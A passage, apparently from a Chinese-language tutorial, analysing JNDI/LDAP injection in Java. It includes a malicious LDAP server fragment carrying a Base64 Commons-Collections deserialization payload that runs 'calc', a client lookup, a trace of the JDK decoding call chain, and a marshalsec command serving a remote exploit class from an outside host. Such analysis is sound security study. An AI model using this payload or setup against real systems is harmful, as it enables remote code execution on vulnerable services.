e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
} catch (ParseException exception) {
exception.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAP_Client {
public static void main(String[] args) throws NamingException {
//初始化环境
InitialContext init = new InitialContext();
init.lookup("ldap://127.0.0.1:1389/Exploit");
}
}
先给出静态变量JAVA_ATTRIBUTES
的内容:
前面的函数调用链都是不同类lookup()
函数之间的调用,com.sun.jndi.ldap.LdapCtx
类的c_lookup()
函数中先是判断var4 (slot_4)
中是否存在javaClassName
,存在则会调用到com.sun.jndi.ldap.Obj
类的decodeObject()
函数进行解码对象的操作。
跟进去,先调用getCodebases()
函数从JAVA_ATTRIBUTES
中取出索引为4即javaCodeBase
的内容,因为这次并没有设置这个属性所以返回null,这就是下面Variables框中的var1(slot_2)
变量;然后从JAVA_ATTRIBUTES
中取出索引为1即javaSerializedData
的内容,这个我们是在恶意LDAP服务端中设置了的、内容就是恶意的Commons-Collections这个Gadget的恶意利用序列化对象字节流,对应的是下面Variables框中的var2 (slot_1)
变量;这里var1(slot_2
)变量为null,传入getURLClassLoader()
函数调用后返回的是AppClassLoader
即应用类加载器;再往下就是调用deserializeObject()
函数来反序列化javaSerializedData
的对象字节码
最后成功执行恶意对象
实战中可以使用marshalsec方便的启动一个LDAP/RMI Ref Server:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://8.8.8.8:8090/#Exploit 8088